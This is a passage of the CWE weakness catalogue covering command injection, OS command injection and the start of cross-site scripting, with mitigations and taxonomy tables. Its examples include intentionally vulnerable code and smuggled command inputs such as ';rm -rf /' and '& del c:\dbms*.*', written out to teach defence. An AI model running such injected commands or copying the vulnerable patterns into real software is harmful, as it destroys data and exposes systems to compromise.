The following code from a system utility uses the system property APPHOME to determine the directory in which it is installed and then executes an initialization script based on a relative path from the specified directory.

Example Language: Java *(bad)*

```
...
String home = System.getProperty("APPHOME");
String cmd = home + INITCMD;
java.lang.Runtime.getRuntime().exec(cmd);
...
```

The code above allows an attacker to execute arbitrary commands with the elevated privilege of the application by modifying the system property APPHOME to point to a different path containing a malicious version of INITCMD. Because the program does not validate the value read from the environment, if an attacker can control the value of the system property APPHOME, then they can fool the application into running malicious code and take control of the system.

Example 4:

The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard out. It is also injectable:

Example Language: C *(bad)*

```
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
    char cat[] = "cat ";
    char *command;
    size_t commandLength;
    commandLength = strlen(cat) + strlen(argv[1]) + 1;
    command = (char *) malloc(commandLength);
    strncpy(command, cat, commandLength);
    strncat(command, argv[1], (commandLength - strlen(cat)) );
    system(command);
    return (0);
}
```

Used normally, the output is simply the contents of the file requested:

Example Language: *(informative)*

```
$ ./catWrapper Story.txt
When last we left our heroes...
```

However, if we add a semicolon and another command to the end of this line, the command is executed by catWrapper with no complaint:

Example Language: *(attack)*

```
$ ./catWrapper Story.txt; ls
When last we left our heroes...
Story.txt
SensitiveFile.txt
PrivateData.db
a.out*
```

If catWrapper had been set to have a higher privilege level than the standard user, arbitrary commands could be executed with that higher privilege.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	713	OWASP Top Ten 2007 Category A2 - Injection Flaws	629	1871
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874
MemberOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	1877
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	1929
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953
MemberOf	C	1005	7PK - Input Validation and Representation	700	1961
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	1975

Notes

Terminology

The "command injection" phrase carries different meanings to different people. For some people, it refers to refers to any type of attack that can allow the attacker to execute commands of their own choosing, regardless of how those commands are inserted. The command injection could thus be resultant from another weakness. This usage also includes cases in which the functionality allows the user to specify an entire command, which is then executed; within CWE, this situation might be better regarded as an authorization problem (since an attacker should not be able to specify arbitrary commands.) Another common usage, which includes CWE-77 and its descendants, involves cases in which the attacker injects separators into the command being constructed.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Command Injection
CLASP			Command injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
Software Fault Patterns	SFP24		Tainted input to command
SEI CERT Perl Coding Standard	IDS34-PL	CWE More Specific	Do not pass untrusted, unsanitized data to a command interpreter

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
15	Command Delimiters
40	Manipulating Writeable Terminal Devices
43	Exploiting Multiple Input Interpretation Layers
75	Manipulating Writeable Configuration Files
76	Manipulating Web Input to File System Calls
136	LDAP Injection
183	IMAP/SMTP Command Injection
248	Command Injection

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools

Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-140]Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". 2004 February 7. Addison-Wesley. < https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958 >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Weakness ID : 78 **Status:** Stable
Structure : Simple
Abstraction : Base

Description

The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Extended Description

This could allow attackers to execute unexpected, dangerous commands directly on the operating system. This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage.

There are at least two subtypes of OS command injection:

1. The application intends to execute a single, fixed program that is under its own control. It intends to use externally-supplied inputs as arguments to that program. For example, the program might use system("nslookup [HOSTNAME]") to run nslookup and allow the user to supply a HOSTNAME, which is used as an argument. Attackers cannot prevent nslookup from executing. However, if the program does not remove command separators from the HOSTNAME argument, attackers could place the separators into the arguments, which allows them to execute their own program after nslookup has finished executing.
2. The application accepts an input that it uses to fully select which program to run, as well as which commands to use. The application simply redirects this entire command to the operating system. For example, the program might use "exec([COMMAND])" to execute the [COMMAND] that was supplied by the user. If the COMMAND is under attacker control, then the attacker can execute arbitrary commands or programs. If the command is being executed using functions like exec() and CreateProcess(), the attacker might not be able to combine multiple commands together in the same line.

From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	136
CanAlsoBe	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	181
CanFollow	B	184	Incomplete List of Disallowed Inputs	425

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	130

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Shell injection :

Shell metacharacters :

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Non-Repudiation	Execute Unauthorized Code or Commands DoS: Crash, Exit, or Restart Read Files or Directories Modify Files or Directories Read Application Data Modify Application Data Hide Activities *Attackers could execute unauthorized commands, which could then be used to disable the software, or read and modify data for which the attacker does not have permissions to access directly. Since the targeted application is directly executing the commands instead of the attacker, any malicious activities may appear to come from the application or the application's owner.*	

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke OS commands, leading to false negatives - especially if the API/library code is not available for analysis.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness = High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Architecture and Design

Strategy = Attack Surface Reduction

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or

filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Phase: Architecture and Design

Strategy = Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components. Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Operation

Strategy = Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Operation

Strategy = Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success. If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not. In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.

Phase: Operation

Strategy = Sandbox or Jail

Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Demonstrative Examples

Example 1:

This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.

Example Language: PHP *(bad)*

```
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);
```

The $userName variable is not checked for malicious input. An attacker could set the $userName variable to an arbitrary OS command such as:

Example Language: *(attack)*

```
;rm -rf /
```

Which would result in $command being:

Example Language: *(result)*

```
ls -l /home/;rm -rf /
```

Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.

Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.

Example 2:

This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection.

Example Language: Perl *(bad)*

```
use CGI qw(:standard);
$name = param('name');
$nslookup = "/path/to/nslookup";
print header;
```

```
if (open($fh, "$nslookup $name|")) {
    while (<$fh>) {
        print escapeHTML($_);
        print "<br>\n";
    }
    close($fh);
}
```

Suppose an attacker provides a domain name like this:

Example Language: *(attack)*

```
cwe.mitre.org%20%3B%20/bin/ls%20-l
```

The "%3B" sequence decodes to the ";" character, and the %20 decodes to a space. The open() statement would then process a string like this:

Example Language: *(result)*

```
/path/to/nslookup cwe.mitre.org ; /bin/ls -l
```

As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server.

Example 3:

The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection.

Example Language: Java *(bad)*

```
String script = System.getProperty("SCRIPTNAME");
if (script != null)
    System.exec(script);
```

If an attacker has control over this property, then they could modify the property to point to a dangerous program.

Example 4:

In the example below, a method is used to transform geographic coordinates from latitude and longitude format to UTM format. The method gets the input coordinates from a user through a HTTP request and executes a program local to the application server that performs the transformation. The method passes the latitude and longitude coordinates as a command-line option to the external program and will perform some processing to retrieve the results of the transformation and return the resulting UTM coordinates.

Example Language: Java *(bad)*

```
public String coordinateTransformLatLonToUTM(String coordinates)
{
    String utmCoords = null;
    try {
        String latlonCoords = coordinates;
        Runtime rt = Runtime.getRuntime();
        Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" + latlonCoords);
        // process results of coordinate transform
        // ...
    }
    catch(Exception e) {...}
    return utmCoords;
}
```

However, the method does not verify that the contents of the coordinates input parameter includes only correctly-formatted latitude and longitude coordinates. If the input coordinates were not validated prior to the call to this method, a malicious user could execute another program local to the application server by appending '&' followed by the command for another program to the end of the coordinate string. The '&' instructs the Windows operating system to execute another program.

Example 5:

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

Example Language: Java *(bad)*

```
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
    c:\\util\\rmanDB.bat "
    +btype+
    "&&c:\\utl\\cleanup.bat\"")
System.Runtime.getRuntime().exec(cmd);
...
```

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

Observed Examples

Reference	Description
CVE-1999-0067	Canonical example. CGI program does not neutralize "|" metacharacter when invoking a phonebook program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0067*
CVE-2001-1246	Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1246*
CVE-2002-0061	Web server allows command execution using "|" (pipe) character. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0061*
CVE-2003-0041	FTP client does not filter "|" from filenames returned by the server, allowing for OS command injection. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0041*
CVE-2008-2575	Shell metacharacters in a filename in a ZIP archive *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2575*
CVE-2002-1898	Shell metacharacters in a telnet:// link are not properly handled when the launching application processes the link. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1898*
CVE-2008-4304	OS command injection through environment variable. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4304*
CVE-2008-4796	OS command injection through https:// URLs *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4796*

Reference	Description
CVE-2007-3572	Chain: incomplete denylist for OS command injection *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3572*
CVE-2012-1988	Product allows remote users to execute arbitrary commands by creating a file whose pathname contains shell metacharacters. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1988*

Functional Areas

- Program Invocation

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2021
MemberOf	C	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	629	1871
MemberOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	1877
MemberOf	C	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	1885
MemberOf	C	744	CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)	734	1889
MemberOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	1892
MemberOf	C	801	2010 Top 25 - Insecure Interaction Between Components	800	1894
MemberOf	C	810	OWASP Top Ten 2010 Category A1 - Injection	809	1896
MemberOf	C	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	1902
MemberOf	C	864	2011 Top 25 - Insecure Interaction Between Components	900	1911
MemberOf	C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	1916
MemberOf	C	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	1918
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	1929
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	1975
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981
MemberOf	C	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)	1133	1983
MemberOf	C	1165	SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)	1154	1999
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Notes

Terminology

The "OS command injection" phrase carries different meanings to different people. For some people, it only refers to cases in which the attacker injects command separators into arguments for an application-controlled program that is being invoked. For some people, it refers to any type of attack that can allow the attacker to execute OS commands of their own choosing. This usage could include untrusted search path weaknesses (CWE-426) that cause the application to find and execute an attacker-controlled program. Further complicating the issue is the case when argument injection (CWE-88) allows alternate command-line switches or options to be inserted into the command line, such as an "-exec" switch whose purpose may be to execute the subsequent argument as a command (this -exec switch exists in the UNIX "find" command, for example). In this latter case, however, CWE-88 could be regarded as the primary weakness in a chain with CWE-78.

Research Gap

More investigation is needed into the distinction between the OS command injection variants, including the role with argument injection (CWE-88). Equivalent distinctions may exist in other injection-related problems such as SQL injection.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			OS Command Injection
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
CERT C Secure Coding	ENV03-C		Sanitize the environment when invoking external programs
CERT C Secure Coding	ENV33-C	CWE More Specific	Do not call system()
CERT C Secure Coding	STR02-C		Sanitize data passed to complex subsystems
WASC	31		OS Commanding
The CERT Oracle Secure Coding Standard for Java (2011)	IDS07-J		Do not pass untrusted, unsanitized data to the Runtime.exec() method
Software Fault Patterns	SFP24		Tainted input to command
OMG ASCSM	ASCSM-CWE-78		

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
6	Argument Injection
15	Command Delimiters
43	Exploiting Multiple Input Interpretation Layers
88	OS Command Injection
108	Command Line Execution through SQL Injection

References

[REF-140]Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". 2004 February 7. Addison-Wesley. < https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958 >.

[REF-685]Pascal Meunier. "Meta-Character Vulnerabilities". 2008 February 0. < http://www.cs.purdue.edu/homes/cs390s/slides/week09.pdf >.

[REF-686]Robert Auger. "OS Commanding". 2009 June. < http://projects.webappsec.org/OS-Commanding >.

[REF-687]Lincoln Stein and John Stewart. "The World Wide Web Security FAQ". 2002 February 4. < http://www.w3.org/Security/Faq/wwwsf4.html >.

[REF-688]Jordan Dimov, Cigital. "Security Issues in Perl Scripts". < http://www.cgisecurity.com/lib/sips.html >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-690]Frank Kim. "Top 25 Series - Rank 9 - OS Command Injection". 2010 February 4. SANS Software Security Institute. < http://blogs.sans.org/appsecstreetfighter/2010/02/24/top-25-series-rank-9-os-command-injection/ >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Weakness ID : 79 **Status:** Stable
Structure : Simple
Abstraction : Base

Description

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Extended Description

Cross-site scripting (XSS) vulnerabilities occur when:

- 1. Untrusted data enters a web application, typically from a web request.
- 2. The web application dynamically generates a web page that contains this untrusted data.
- 3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
- 4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
- 5. Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.
- 6. This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:

- Type 1: Reflected XSS (or Non-Persistent) - The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common

mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.

- Type 2: Stored XSS (or Persistent) - The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.
- Type 0: DOM-Based XSS - In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking."

In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	130
ParentOf	V	80	Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)	165
ParentOf	V	81	Improper Neutralization of Script in an Error Message Web Page	167
ParentOf	V	83	Improper Neutralization of Script in Attributes in a Web Page	171
ParentOf	V	84	Improper Neutralization of Encoded URI Schemes in a Web Page	173
ParentOf	V	85	Doubled Character XSS Manipulations	175
ParentOf	V	86	Improper Neutralization of Invalid Characters in Identifiers in Web Pages	177

